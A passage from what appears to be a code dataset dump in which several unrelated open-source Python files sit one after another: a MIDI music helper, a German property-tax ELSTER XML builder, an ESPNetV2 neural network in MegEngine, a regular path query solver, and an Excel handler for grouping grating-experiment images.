high = at_least, at_least+3\n return random.randint(low, high)\n\ndef with_pause_after(mel, pause=None):\n if pause is None:\n pause = pause_amt()\n if is_string(mel):\n return mel + '-' * pause\n else:\n return None\n\n#@typerule(strn=str|None, _ret_type=str)\ndef str2mus_strn(strn):\n if is_string(strn):\n # get rid of weird characters\n return strn.replace('!','') \\\n .replace('?','')\n else:\n return strn\n\n@typerule(fname=str, _ret_type=str)\ndef fname2mus_strn(fname):\n strn = fname.replace('_','-')\n return str2mus_strn(strn)\n\n@typerule(fname=str)\ndef print_fname(fname):\n debug_log(fname + '()')\n\ndef print_response(response):\n if is_string(response):\n debug_log(' '*RESPONSE_OFFSET + str(response))\n else:\n pass\n\n\ndef get_fname(fn):\n if is_function(fn):\n return fn.__name__\n else:\n return fn\n\n\ndef play_func(fn, do_response=None): #todo will we need this anymore? (now we have ev_funcs)\n return midi.playe(ev_func(fn, do_response))\n\n\ndef ev_func_init(fn):\n global chord, DURATION\n #{ do start tempo change\n start_dur = get_start_dur(fn)\n if start_dur is not None:\n #debug_log('set DURATION',duration)\n DURATION = start_dur\n #}\n #{ do chord change if any\n start_chord = get_start_chord(fn)\n if start_chord:\n #debug_log('set chord',chord)\n chord = start_chord\n for e in ev_chord_change(): yield e\n #}\n #{ do instrument change if any\n start_inst = get_start_instruments(fn)\n if start_inst is not None:\n #debug_log('set INSTRUMENTS',start_inst)\n choose_instruments(start_inst)\n #}\n\n\n# play function name\ndef ev_func_name(fname, pause):\n print_fname(fname)\n fname = fname2mus_strn(fname)\n fname_events = midi.ev_strn(\n with_pause_after(fname, pause),\n dur = DURATION, vel = MEL_VEL,\n show_notes = SHOW_NOTES,\n )\n for e in fname_events: yield e\n\n\n# event-stream-based version of play_func\ndef ev_func(fn, do_response=None, play_name=None):\n global chord, DURATION #todo not needed anymore, ev_func_init has it?\n if play_name is None: play_name = PLAY_NAME\n fname = get_fname(fn)\n if not is_lambda(fname):\n for e in ev_func_init(fn):\n yield e\n #{ #todo maybe find a simpler way for last_pitch -\n # maybe allow the ev_pitches to write into\n # some shared value, like a list or dict?\n # (maybe not tho, this seems maybe ok)\n last_pitch = None\n pause1 = pause_amt() #todo why use the same pause for 1st and 2nd part?\n if play_name:\n for e in ev_func_name(fname, pause1):\n last_pitch = midi.maybe_set_pitch(last_pitch, e)\n yield e\n #}\n # maybe run function and play response\n if do_response is None:\n do_response = True #coinflip()\n if do_response:\n #todo figure out last_pitch / prev_pitch stuff\n for e in ev_fn_response(fn, pause1=pause1, prev_pitch=last_pitch):\n yield e\n \n\ndef ev_fn_response(fn, pause1=None, prev_pitch=None):\n if is_function(fn):\n response = fn()\n if isinstance(response, types.GeneratorType):\n for section in response:\n #new_prev_pitch = ev_fn_response_1(section, pause1, prev_pitch)\n #prev_pitch = new_prev_pitch\n new_prev_pitch = None\n for e in ev_fn_response_1(\n section, pause1, prev_pitch=prev_pitch\n ):\n new_prev_pitch = midi.maybe_set_pitch(new_prev_pitch,e)\n yield e\n prev_pitch = new_prev_pitch\n else:\n for e in ev_fn_response_1(\n response, pause1,\n prev_pitch = prev_pitch\n ):\n yield e\n\ndef ev_fn_response_1(response, pause1=None, prev_pitch=None):\n for e in ev_chord_change(): yield e\n print_response(response)\n response = str2mus_strn(response)\n\n pause2 = pause_amt(at_least = pause1)\n response = with_pause_after(response, pause2)\n\n if is_string(response):\n for e in midi.ev_strn(\n response,\n dur = DURATION, \n prev_pitch = prev_pitch,\n vel = MEL_VEL,\n show_notes = SHOW_NOTES,\n ):\n yield e\n else:\n pass # don't yield anything\n\n\n\ndef process_chord_change():\n return midi.playe(ev_chord_change())\n\ndef ev_chord_change():\n global chord, sounding_chord\n if chord is not None:\n if sounding_chord:\n for e in midi.ev_chordname_off(\n sounding_chord, chan=1, show_notes=SHOW_NOTES\n ):\n yield e\n for e in midi.ev_chordname_on(\n chord, vel=CHORD_VEL, chan=1, show_notes=SHOW_NOTES\n ):\n yield e\n print_chord(chord)\n sounding_chord = chord\n chord = None\n\ndef chord_offset():\n return RESPONSE_OFFSET / 2\n\ndef print_chord(chord):\n debug_log(' '*chord_offset() + \"[\" + chord + \"]\")\n\ndef musicall(fn): #todo args\n play_func(fn, do_response=True)\n\ndef coinflip(unlikeliness=2):\n return random.randint(1,unlikeliness) == 1\n\ndef some_parts(*parts):\n i = random.randint(1,len(parts))\n my_parts = parts[:i]\n if under_assumption('working with strings'):\n return ''.join(my_parts)\n else:\n return my_parts\n\ndef some_end_parts(*parts):\n i = random.randint(0,len(parts)-1)\n my_parts = parts[i:]\n if under_assumption('working with strings'):\n return ''.join(my_parts)\n else:\n return my_parts\n\n# Q. what happens if drums & overall_drums are both True?\n# A. doesn't seem to make much difference\ndef ev_goof_around(env, drums=True, overall_drums=False):\n while True:\n # drums to be zipped alongside/independent?\n if overall_drums:\n events = midi.zip_events(\n ev_funcs(env, drums=drums),\n midi.ev_drums(dur=DURATION),\n )\n # vs drums being tightly coupled (if present)\n else:\n events = ev_funcs(env, drums=drums)\n # go thru the events\n for e in events:\n yield e\n\ndef goof_around(env, drums=False):\n try:\n return midi.playe(\n ev_goof_around(env, drums=drums)\n )\n except KeyboardInterrupt:\n print(\"Bye!\")\n midi.panic()\n\ndef take_from_env(names, env):\n return {name: env[name] for name in names}\n\n\ndef setup():\n # need to give some arg or it won't change instruments, \"rnd\" to randomly choose\n if len(sys.argv) > 1:\n print(\"Choosing Instruments from args\")\n choose_instruments(sys.argv[1:])\n elif INSTRUMENTS:\n print(\"Choosing Instruments from INSTRUMENTS setting\")\n choose_instruments(INSTRUMENTS)\n else:\n print(\"Leaving instruments the same\")\n\n\ndef is_py_filename(arg):\n return isinstance(arg, str) and arg[-3:] == '.py'\n\n\ndef choose_instruments(args): #todo clean up / simplify\n\n if args == 'rnd': args = ['rnd']\n if len(args) and is_py_filename(args[0]):\n args = args[1:]\n\n sug0,sug1 = midi.cool_inst_combo()\n do_sug = True # coinflip()\n\n user_specified_instruments = len(args) > 0 and args[0] != 'rnd'\n\n # set inst 0\n if user_specified_instruments:\n inst0 = int(args[0])\n elif do_sug:\n inst0 = sug0\n else: \n inst0 = midi.rand_inst(chan=0)\n\n # set inst 1\n if len(args) > 1:\n inst1 = int(args[1])\n elif do_sug:\n inst1 = sug1\n else:\n inst1 = midi.rand_inst(chan=1)\n\n # description\n if user_specified_instruments:\n debug_log(\"setting custom instruments\", (inst0, inst1))\n elif do_sug:\n debug_log(\"known cool instrument combo\", (inst0, inst1))\n else:\n debug_log(\"experimental random instrument\", (inst0, inst1))\n\n # actually changes patches\n midi.midi_program_change(inst0, chan=0)\n midi.midi_program_change(inst1, chan=1)\n\n # update INSTRUMENTS var\n INSTRUMENTS = (inst0,inst1)\n\n\ndef change_duration(dur):\n global DURATION\n debug_log(\"Changing tempo to \" + str(dur))\n DURATION = dur\n\ndef mult_duration(durmult):\n global DURATION\n debug_log(\"Multiplying tempo by factor of \" + str(durmult))\n DURATION *= durmult\n\ndef play_id(strn):\n midi.play_strn(fname2mus_strn(strn), show_notes=SHOW_NOTES, vel=MEL_VEL)\n\n\n# @start_chord decorator\ndef start_chord(the_chord):\n def outer(func):\n #debug_log('@start_chord',the_chord)\n func.chord = the_chord\n return func\n return outer\n\n# @start_dur decorator\ndef start_dur(dur):\n def outer(func):\n #debug_log('@start_dur',dur)\n func.duration = dur\n return func\n return outer\n\n# @start_instrument decorator\ndef start_instruments(inst):\n def outer(func):\n #debug_log('@start_instrument',inst)\n func.instruments = inst\n return func\n return outer\n\ndef get_start_chord(fn):\n if hasattr(fn, 'chord'):\n if is_function(fn.chord):\n return fn.chord()\n else:\n return fn.chord\n\ndef get_start_dur(fn):\n if hasattr(fn, 'duration'):\n return fn.duration\n\ndef get_start_instruments(fn):\n if hasattr(fn, 'instruments'):\n return fn.instruments\n\n","repo_name":"ryanfmurphy/music","sub_path":"fns.py","file_name":"fns.py","file_ext":"py","file_size_in_byte":12570,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"70"} +{"seq_id":"25990372913","text":"from dataclasses import dataclass\nfrom typing import List, Optional\n\nfrom erica.worker.elster_xml.common.basic_xml_data_representation import ENutzdaten, \\\n construct_basic_xml_data_representation\nfrom erica.worker.elster_xml.common.electronic_steuernummer import generate_electronic_aktenzeichen, \\\n BUNDESLAENDER_WITH_STEUERNUMMER, get_bufa_nr_from_aktenzeichen\nfrom erica.worker.elster_xml.grundsteuer.elster_eigentuemer import EPersonData, EEigentumsverh, \\\n EEmpfangsbevollmaechtigter\nfrom erica.worker.elster_xml.grundsteuer.elster_gebaeude import EAngWohn\nfrom erica.api.dto.grundsteuer_dto import GrundsteuerPayload\nfrom erica.api.dto.grundsteuer_input_eigentuemer import \\\n Eigentuemer as EigentuemerInput, Bruchteilsgemeinschaft\nfrom erica.worker.elster_xml.grundsteuer.elster_grundstueck import ELage, EAngGrundstuecksart, EMehrereGemeinden, \\\n EGemarkungen, EAngGrund\nfrom erica.api.dto.grundsteuer_input_grundstueck import \\\n Grundstueck as GrundstueckInput, Grundstuecksart\n\n\"\"\"\n The content of the Grundsteuer Nutzdaten XML as its data prepresentation.\n The classes are prefixed with \"E\" for \"Elster\".\n\"\"\"\n\n\n@dataclass\nclass EAngFeststellung:\n E7401311: str\n E7401310: int\n\n def __init__(self, grundstuecksart: Grundstuecksart):\n self.E7401311 = \"1\" # Hauptfeststellung\n self.E7401310 = 2 if grundstuecksart.is_bebaut() else 1\n\n\n@dataclass\nclass EErgAngaben:\n E7413001: Optional[int]\n E7411702: Optional[str]\n\n def __init__(self, freitext: str):\n self.E7413001 = 1\n self.E7411702 = freitext\n\n\n@dataclass\nclass EAngGemeinschaften:\n E7403301: str\n E7404591: str\n E7404592: Optional[str]\n E7413501: Optional[str]\n E7413601: Optional[str]\n E7414526: Optional[str]\n E7413701: str\n E7413702: Optional[str]\n E7413703: str\n\n def __init__(self, input_data: Bruchteilsgemeinschaft):\n self.E7403301 = \"01\" # no_anrede\n self.E7404591 = input_data.name[:25].strip()\n if len(input_data.name) > 25:\n self.E7404592 = input_data.name[25:].strip()\n else:\n self.E7404592 = None\n self.E7413501 = input_data.adresse.strasse\n self.E7413601 = input_data.adresse.hausnummer\n self.E7414526 = input_data.adresse.hausnummerzusatz\n self.E7413701 = input_data.adresse.plz\n self.E7413702 = input_data.adresse.postfach\n self.E7413703 = input_data.adresse.ort\n\n\n@dataclass\nclass EGW1:\n Ang_Feststellung: EAngFeststellung\n Lage: ELage\n Mehrere_Gemeinden: Optional[EMehrereGemeinden]\n Gemarkungen: EGemarkungen\n Empfangsv: Optional[EEmpfangsbevollmaechtigter]\n Erg_Angaben: Optional[EErgAngaben]\n Eigentumsverh: EEigentumsverh\n Ang_Gemeinschaften: Optional[EAngGemeinschaften]\n Eigentuemer: List[EPersonData]\n\n def __init__(self, eigentuemer: EigentuemerInput, grundstueck: GrundstueckInput, freitext=None):\n self.Ang_Feststellung = EAngFeststellung(grundstueck.typ)\n self.Lage = ELage(grundstueck.adresse)\n if not grundstueck.innerhalb_einer_gemeinde:\n self.Mehrere_Gemeinden = EMehrereGemeinden()\n else:\n self.Mehrere_Gemeinden = None\n self.Gemarkungen = EGemarkungen(grundstueck.flurstueck)\n\n if eigentuemer.empfangsbevollmaechtigter:\n self.Empfangsv = EEmpfangsbevollmaechtigter(eigentuemer)\n else:\n self.Empfangsv = None\n\n if freitext:\n self.Erg_Angaben = EErgAngaben(freitext)\n else:\n self.Erg_Angaben = None\n\n self.Eigentumsverh = EEigentumsverh(eigentuemer)\n\n if eigentuemer.bruchteilsgemeinschaft:\n self.Ang_Gemeinschaften = EAngGemeinschaften(eigentuemer.bruchteilsgemeinschaft)\n else:\n self.Ang_Gemeinschaften = None\n\n self.Eigentuemer = []\n for index, input_eigentuemer in enumerate(eigentuemer.person):\n new_eigentuemer = EPersonData(input_eigentuemer, index)\n self.Eigentuemer.append(new_eigentuemer)\n\n\n@dataclass\nclass EGW2:\n Ang_Grundstuecksart: EAngGrundstuecksart\n Ang_Grund: EAngGrund\n Ang_Wohn: Optional[EAngWohn]\n\n def __init__(self, input_data: GrundsteuerPayload):\n self.Ang_Grundstuecksart = EAngGrundstuecksart(input_data.grundstueck.typ)\n self.Ang_Grund = EAngGrund(input_data.grundstueck)\n if input_data.gebaeude:\n self.Ang_Wohn = EAngWohn(input_data.gebaeude)\n else:\n self.Ang_Wohn = None\n\n\n@dataclass\nclass ERueckuebermittlung:\n Bescheid: str\n\n def __init__(self):\n self.Bescheid = '2' # No \"Bescheiddatenabholung\"\n\n\n@dataclass\nclass EVorsatz:\n Unterfallart: str\n Vorgang: str\n StNr: Optional[str]\n Aktenzeichen: Optional[str]\n Zeitraum: str\n AbsName: str\n AbsStr: str\n AbsPlz: str\n AbsOrt: str\n Copyright: str\n OrdNrArt: str\n Rueckuebermittlung: ERueckuebermittlung\n\n def __init__(self, input_data: GrundsteuerPayload):\n self.Unterfallart = \"88\" # Grundsteuer\n self.Vorgang = \"01\" # Veranlagung\n self.Zeitraum = \"2022\"\n self.AbsName = input_data.eigentuemer.person[0].persoenliche_angaben.vorname + \" \" + \\\n input_data.eigentuemer.person[0].persoenliche_angaben.name\n if input_data.eigentuemer.person[0].adresse.strasse:\n self.AbsStr = input_data.eigentuemer.person[0].adresse.strasse\n else:\n self.AbsStr = input_data.eigentuemer.person[0].adresse.postfach\n self.AbsPlz = input_data.eigentuemer.person[0].adresse.plz\n self.AbsOrt = input_data.eigentuemer.person[0].adresse.ort\n self.Copyright = \"(C) 2022 DigitalService GmbH des Bundes\"\n\n steuernummer_aktenzeichen = generate_electronic_aktenzeichen(input_data.grundstueck.steuernummer,\n input_data.grundstueck.adresse.bundesland)\n if input_data.grundstueck.adresse.bundesland in BUNDESLAENDER_WITH_STEUERNUMMER:\n self.OrdNrArt = \"S\"\n self.StNr = steuernummer_aktenzeichen\n self.Aktenzeichen = None\n else:\n self.OrdNrArt = \"A\"\n self.StNr = None\n self.Aktenzeichen = steuernummer_aktenzeichen\n\n self.Rueckuebermittlung = ERueckuebermittlung()\n\n\n@dataclass\nclass EGrundsteuerSpecifics:\n GW1: EGW1\n GW2: EGW2\n Vorsatz: EVorsatz\n xml_attr_version: str\n xml_attr_xmlns: str\n\n def __init__(self, input_data: GrundsteuerPayload):\n self.GW1 = EGW1(input_data.eigentuemer, input_data.grundstueck, input_data.freitext)\n self.GW2 = EGW2(input_data)\n self.Vorsatz = EVorsatz(input_data)\n self.xml_attr_version = \"2\"\n self.xml_attr_xmlns = \"http://finkonsens.de/elster/elstererklaerung/grundsteuerwert/e88/v2\"\n\n\n@dataclass\nclass EGrundsteuerData(ENutzdaten):\n E88: EGrundsteuerSpecifics\n\n def __init__(self, input_data: GrundsteuerPayload):\n self.E88 = EGrundsteuerSpecifics(input_data)\n\n\ndef get_full_grundsteuer_data_representation(input_data: GrundsteuerPayload):\n \"\"\" Returns the full data representation of an elster XML for the Grundsteuer use case. \"\"\"\n bufa_nr = get_bufa_nr_from_aktenzeichen(input_data.grundstueck.steuernummer, input_data.grundstueck.adresse.bundesland)\n\n grundsteuer_elster_data_representation = EGrundsteuerData(input_data)\n return construct_basic_xml_data_representation(empfaenger_id='F', empfaenger_text=bufa_nr,\n nutzdaten_object=grundsteuer_elster_data_representation,\n nutzdaten_header_version=\"11\")\n","repo_name":"digitalservicebund/erica","sub_path":"erica/worker/elster_xml/grundsteuer/elster_data_representation.py","file_name":"elster_data_representation.py","file_ext":"py","file_size_in_byte":7679,"program_lang":"python","lang":"de","doc_type":"code","stars":4,"dataset":"github-code","pt":"70"} +{"seq_id":"38071485799","text":"# -*- coding:utf-8 -*-\n# !/usr/bin/env python\n\"\"\"\n filename:espnets\n author: 12718\n time: 2021/11/18 14:17\n tool: PyCharm\n\"\"\"\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\n\nimport math\nimport megengine as mge\nimport megengine.module as M\nfrom megengine.module import init\nimport megengine.functional as F\n\nfrom megvision.layers import Conv2d, EESP, SESSP\nfrom .build import BACKBONE_REGISTER\n\n__all__ = [\"EspNetV2\", \"espnetv2_s_0_5\", \"espnetv2_s_1_0\",\n \"espnetv2_s_1_25\", \"espnetv2_s_1_5\", \"espnetv2_s_2_0\"]\n\nmodel_urls = {\n \"espnetv2_s_0_5\" : \"https://github.com/Qsingle/Megvision/releases/download/v1.0/espnetv2_s_0.5.pkl\",\n \"espnetv2_s_1_0\" : \"https://github.com/Qsingle/Megvision/releases/download/v1.0/espnetv2_s_1.0.pkl\",\n \"espnetv2_s_1_25\" : \"https://github.com/Qsingle/Megvision/releases/download/v1.0/espnetv2_s_1.25.pkl\",\n \"espnetv2_s_1_5\" : \"https://github.com/Qsingle/Megvision/releases/download/v1.0/espnetv2_s_1.5.pkl\",\n \"espnetv2_s_2_0\" : \"https://github.com/Qsingle/Megvision/releases/download/v1.0/espnetv2_s_2.0.pkl\"\n}\n\n\nclass EspNetV2(M.Module):\n def __init__(self, in_ch=3, num_classes=1000, scale=1.0):\n \"\"\"\n Implementation of the ESPNetV2 introduced in\n \"ESPNetv2: A Light-weight, Power Efficient, and General Purpose Convolutional Neural Network\"\n \n Parameters\n ----------\n in_ch (int): number of channels for input\n num_classes (int): number of classes\n scale (float): the scale rate for the net\n \"\"\"\n super(EspNetV2, self).__init__()\n reps = [0, 3, 7, 3] #how many times the essp block repeat\n r_lims = [13, 11, 9, 7, 5]\n K = [4] * len(r_lims)\n\n base = 32\n config_len = 5\n config = [base] * config_len\n base_s = 0\n for i in range(config_len):\n if i == 0:\n base_s = int(base * scale)\n base_s = math.ceil(base_s/ K[0]) * K[0]\n config[i] = base if base_s > base else base_s\n else:\n config[i] = base_s * pow(2, i)\n if scale <= 1.5:\n config.append(1024)\n elif scale <= 2.0:\n config.append(1280)\n else:\n ValueError(\"Configuration for scale={} not supported\".format(scale))\n\n ref_input = in_ch\n self.reinf = True\n\n self.level1 = Conv2d(in_ch, config[0], 3, stride=2, padding=1, activation=M.PReLU(config[0]))\n self.level2_0 = SESSP(config[0], config[1], stride=2, r_lim=r_lims[0], K=K[0],\n refin=self.reinf, refin_ch=ref_input)\n\n self.level3_0 = SESSP(config[1], config[2], stride=2, r_lim=r_lims[1], K=K[1],\n refin=self.reinf, refin_ch=ref_input)\n\n self.level3 = []\n for i in range(reps[1]):\n self.level3.append(EESP(config[2], config[2], stride=1, r_lim=r_lims[2], K=K[2]))\n\n self.level4_0 = SESSP(config[2], config[3], stride=2, r_lim=r_lims[2], K=K[2],\n refin=self.reinf, refin_ch=ref_input)\n self.level4 = []\n for i in range(reps[2]):\n self.level4.append(EESP(config[3], config[3], stride=1, r_lim=r_lims[3], K=K[3]))\n\n self.level5_0 = SESSP(config[3], config[4], stride=2, r_lim=r_lims[3], K=K[3],\n refin=self.reinf, refin_ch=ref_input)\n self.level5 = []\n for i in range(reps[3]):\n self.level5.append(EESP(config[4], config[4], stride=1, r_lim=r_lims[4], K=K[4]))\n\n self.level5.append(Conv2d(config[4], config[4], ksize=3, stride=1, padding=1,\n groups=config[4], activation=M.PReLU(config[4])))\n self.level5.append(Conv2d(config[4], config[5], ksize=1, stride=1, padding=0,\n groups=K[3], activation=M.PReLU(config[5])))\n self.classifier = M.Linear(config[5], num_classes)\n\n self.init_params()\n\n def init_params(self):\n for m in self.modules():\n if isinstance(m, M.Conv2d):\n init.xavier_normal_(m.weight)\n if m.bias is not None:\n init.zeros_(m.bias)\n elif isinstance(m, M.BatchNorm2d):\n init.fill_(m.weight, 1)\n init.zeros_(m.bias)\n elif isinstance(m, M.Linear):\n init.normal_(m.weight, std=0.001)\n if m.bias is not None:\n init.zeros_(m.bias)\n\n def forward(self, inputs):\n out_l1 = self.level1(inputs)\n if not self.reinf:\n del inputs\n inputs = None\n out_l2 = self.level2_0(out_l1, inputs)\n\n out_l3_0 = self.level3_0(out_l2, inputs)\n for i, layer in enumerate(self.level3):\n if i == 0:\n out_l3 = layer(out_l3_0)\n else:\n out_l3 = layer(out_l3)\n\n outl4_0 = self.level4_0(out_l3, inputs)\n for i, layer in enumerate(self.level4):\n if i == 0:\n out_l4 = layer(outl4_0)\n else:\n out_l4 = layer(out_l4)\n\n outl5_0 = self.level5_0(out_l4, inputs)\n for i, layer in enumerate(self.level5):\n if i == 0:\n out_l5 = layer(outl5_0)\n else:\n out_l5 = layer(out_l5)\n net = F.adaptive_avg_pool2d(out_l5, 1)\n net = F.flatten(net, 1)\n net = self.classifier(net)\n return net\n\ndef _espnerv2(arch, pretrained=False, **kwargs):\n model = EspNetV2(**kwargs)\n if pretrained:\n if model_urls[arch] == '':\n print(\"The weights file of {} is not provided now, pass to load pretrained weights\".format(arch))\n else:\n state_dict = mge.hub.load_serialized_obj_from_url(model_urls[arch], model_dir=\"./weights\")\n model.load_state_dict(state_dict)\n return model\n\n@BACKBONE_REGISTER.register()\ndef espnetv2_s_0_5(pretrained=False, **kwargs):\n kwargs[\"scale\"] = 0.5\n model = _espnerv2(\"espnetv2_s_0_5\", pretrained=pretrained, **kwargs)\n return model\n\n@BACKBONE_REGISTER.register()\ndef espnetv2_s_1_0(pretrained=False, **kwargs):\n kwargs[\"scale\"] = 1.0\n model = _espnerv2(\"espnetv2_s_1_0\", pretrained=pretrained, **kwargs)\n return model\n\n@BACKBONE_REGISTER.register()\ndef espnetv2_s_1_25(pretrained=False, **kwargs):\n kwargs[\"scale\"] = 1.25\n model = _espnerv2(\"espnetv2_s_1_25\", pretrained=pretrained, **kwargs)\n return model\n\n@BACKBONE_REGISTER.register()\ndef espnetv2_s_1_5(pretrained=False, **kwargs):\n kwargs[\"scale\"] = 1.5\n model = _espnerv2(\"espnetv2_s_1_5\", pretrained=pretrained, **kwargs)\n return model\n\n@BACKBONE_REGISTER.register()\ndef espnetv2_s_2_0(pretrained=False, **kwargs):\n kwargs[\"scale\"] = 2.0\n model = _espnerv2(\"espnetv2_s_2_0\", pretrained=pretrained, **kwargs)\n return model\n\n\nif __name__ == \"__main__\":\n import megengine as mge\n x = mge.random.normal(size=(1, 3, 224, 224))\n\n model = EspNetV2(3, 1000, 0.5)\n out = model(x)\n print(out.shape)","repo_name":"Qsingle/Megvision","sub_path":"megvision/model/classification/espnets.py","file_name":"espnets.py","file_ext":"py","file_size_in_byte":7173,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"70"} +{"seq_id":"6494627510","text":"import argparse\nimport json\nfrom typing import Set, Tuple, Dict, Union, List\n\nfrom wrappers import GraphWrapper, RegexGraphWrapper\n\n\ndef solve_rpq(graph: GraphWrapper, constraint: RegexGraphWrapper,\n query: Dict[str, Union[bool, List[int]]]) -> Set[Tuple[int, int]]:\n # Calculate kronecker (tensor) product, prepare indices\n intersection = constraint.kronecker_product(graph)\n step = graph.vertices_num\n\n # Parse query from JSON\n if query.get('reachability_between_all'):\n start_idxs, end_idxs = intersection.start_states, intersection.final_states\n elif \"reachability_from_set\" in query and \"reachability_to_set\" not in query:\n graph_start_idxs = set(query.get(\"reachability_from_set\"))\n start_idxs = set([idx for idx in intersection.start_states if (idx % step) in graph_start_idxs])\n end_idxs = intersection.final_states\n elif \"reachability_from_set\" in query and \"reachability_to_set\" in query:\n graph_start_idxs = set(query.get(\"reachability_from_set\"))\n graph_end_idxs = set(query.get(\"reachability_to_set\"))\n start_idxs = set([idx for idx in intersection.start_states if (idx % step) in graph_start_idxs])\n end_idxs = set([idx for idx in intersection.final_states if (idx % step) in graph_end_idxs])\n else:\n raise KeyError(\"Incorrect format of the input query\")\n\n # Collect reachable pairs from resulting automaton using transitive closure\n reachable_pairs = intersection.get_reachable_pairs(start_idxs, end_idxs)\n initial_reachable_pairs = set([(pair[0] % step, pair[1] % step) for pair in reachable_pairs])\n\n return initial_reachable_pairs\n\n\ndef main():\n # Parse command line arguments\n parser = argparse.ArgumentParser()\n parser.add_argument(\"path_to_graph\",\n help=\"input file with list of edges of the graph in format 'v_from label v_to'\")\n parser.add_argument(\"path_to_regex\",\n help=\"input file with corresponding regex (see `pyformlang.regular_expression.Regex`)\")\n parser.add_argument(\"path_to_query\",\n help=\"input file with specified set of vertices in the input graph \"\n \"using regex for finding reachability\")\n args = parser.parse_args()\n\n # Load initial data: graph, regexp, query\n graph = GraphWrapper.from_file(args.path_to_graph)\n constraint = RegexGraphWrapper.from_regex_file(args.path_to_regex)\n with open(args.path_to_query, 'r') as file:\n query = json.load(file)\n\n initial_reachable_pairs = solve_rpq(graph, constraint, query)\n print(\"Reachable pairs of indices:\")\n for start_idx, end_idx in initial_reachable_pairs:\n print(f'{start_idx} ~~> {end_idx}')\n\n intersection = constraint.kronecker_product(graph)\n print(\"Counter of edge types in resulting automaton:\")\n print(intersection.edges_counter)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"SmirnovOleg/formal-languages","sub_path":"solve_rpq.py","file_name":"solve_rpq.py","file_ext":"py","file_size_in_byte":2935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"13587643871","text":"import pandas as pd\nfrom qtpy.QtWidgets import QMainWindow, QFileDialog, QMenu\nfrom qtpy import QtGui\nfrom IPython.core.display import display\nfrom IPython.core.display import HTML\nimport os\nimport numpy as np\nimport re\nimport json\nfrom collections import OrderedDict\nimport logging\n\nfrom __code._utilities.string import format_html_message\nfrom __code import load_ui\nfrom __code._utilities.status_message import StatusMessageStatus, show_status_message\nfrom __code.group_images_by_cycle_for_grating_experiment.excel_table_handler import ExcelTableHandler as TableHandler\nfrom __code.group_images_by_cycle_for_grating_experiment.repeat_widget_change_dialog import RepeatWidgetChangeDialog\nfrom __code.group_images_by_cycle_for_grating_experiment import IndexOfColumns\n\nROW_HEIGHT = 40\n\n\nclass ExcelHandler:\n\n def __init__(self, parent=None):\n self.parent = parent\n\n # logging.basicConfig(filename=\"/Users/j35/Desktop/grating.log\",\n # filemode='a',\n # format='[%(levelname)s] - %(asctime)s - %(message)s',\n # level=logging.INFO)\n # logging.info(\"*** Starting debugging ***\")\n\n def load_excel(self, excel_file=None):\n if excel_file is None:\n return\n\n self.parent.excel_info_widget.value = f\"Loaded excel file: {excel_file}!\"\n\n df = pd.read_excel(excel_file, sheet_name=\"Tabelle1\", header=0)\n\n nbr_excel_row = len(df)\n nbr_notebook_row = len(self.parent.first_last_run_of_each_group_dictionary.keys())\n data_type_to_populate_with_notebook_data = self.parent.sample_or_ob_radio_buttons.value\n\n # if we want to populate the sample column, we need to have the same number of sample and ob\n if (nbr_excel_row != nbr_notebook_row) and (data_type_to_populate_with_notebook_data == 'sample'):\n display(HTML(\"Number of rows in Excel document selected and number of group DO NOT \"\n \"MATCH!\"))\n display(HTML(\"SOLUTION: create a new Excel document!\"))\n\n else:\n new_df = self._populate_pandas_object(\n df=df,\n data_type_to_populate_with_notebook_data=data_type_to_populate_with_notebook_data)\n\n o_interface = Interface(grand_parent=self.parent,\n excel_file=excel_file,\n pandas_object=new_df,\n data_type_to_populate_with_notebook_data=data_type_to_populate_with_notebook_data,\n first_last_run_of_each_group_dictionary=self.parent.first_last_run_of_each_group_dictionary)\n o_interface.show()\n\n def get_excel_config(self):\n config_file = os.path.join(os.path.dirname(__file__), 'excel_config.json')\n with open(config_file) as json_file:\n return json.load(json_file)\n\n def _populate_pandas_object(self, df=None, data_type_to_populate_with_notebook_data='sample'):\n\n logging.info(\"Entering _populate_pandas_object!\")\n\n def get_matching_ob_group_index(sample_outer_value=None, dict_group_outer_value=None):\n \"\"\"\n Using the sample_outer_value as a reference, this method will go over all the keys in ob_outer_value\n and look at the corresponding value.\n if the value is bigger or equal than the sample_outer_value, this key is returned.\n if the value is lower, the program go to the next key and check again.\n if the last key reached is still, the value of sample is bigger, then the last key is returned\n \"\"\"\n for _key in dict_group_outer_value.keys():\n ob_outer_value = dict_group_outer_value[_key]\n\n if float(sample_outer_value) <= float(ob_outer_value):\n return _key\n\n list_keys = list(dict_group_outer_value.keys())\n return list_keys[-1]\n\n output_folder = os.path.abspath(self.parent.output_folder)\n first_last_run_of_each_group_dictionary = self.parent.first_last_run_of_each_group_dictionary\n\n if data_type_to_populate_with_notebook_data == 'sample':\n\n logging.info(\"working with Sample\")\n\n for _row_index, _key in enumerate(first_last_run_of_each_group_dictionary.keys()):\n df.iloc[_row_index, 0] = os.path.join(output_folder, first_last_run_of_each_group_dictionary[_key][\n 'first'])\n df.iloc[_row_index, 1] = os.path.join(output_folder, first_last_run_of_each_group_dictionary[_key][\n 'last'])\n\n else: # ob\n\n # logging.info(\"working with OB\")\n\n dict_group_outer_value = self.parent.dict_group_outer_value\n number_of_df_rows = len(df)\n\n # go one row at a time and check value of sample_information (outer loop)\n for _row in np.arange(number_of_df_rows):\n\n # logging.info(f\"-> _row:{_row}\")\n\n sample_outer_value = df.iloc[_row, IndexOfColumns.sample_information]\n logging.info(f\"-> sample_outer_value: {sample_outer_value}\")\n ob_group_index = get_matching_ob_group_index(sample_outer_value=sample_outer_value,\n dict_group_outer_value=dict_group_outer_value)\n # logging.info(f\"-> ob_group_index: {ob_group_index}\")\n\n df.iloc[_row, 2] = os.path.join(output_folder, first_last_run_of_each_group_dictionary[\n ob_group_index]['first'])\n df.iloc[_row, 3] = os.path.join(output_folder, first_last_run_of_each_group_dictionary[\n ob_group_index]['last'])\n\n return df\n\n def _create_pandas_object(self, data_type_to_populate_with_notebook_data='sample'):\n\n def formatting_angle_value(str_angle_value=\"\"):\n \"\"\"\n str_value = \"2.000000\"\n and new format will be\n \"002.000\"\n \"\"\"\n comma_slit = str_angle_value.split(\".\")\n if len(comma_slit) > 1:\n left_of_comma, right_of_comma = str_angle_value.split(\".\")\n int_left_of_comma = int(left_of_comma)\n int_right_of_comma 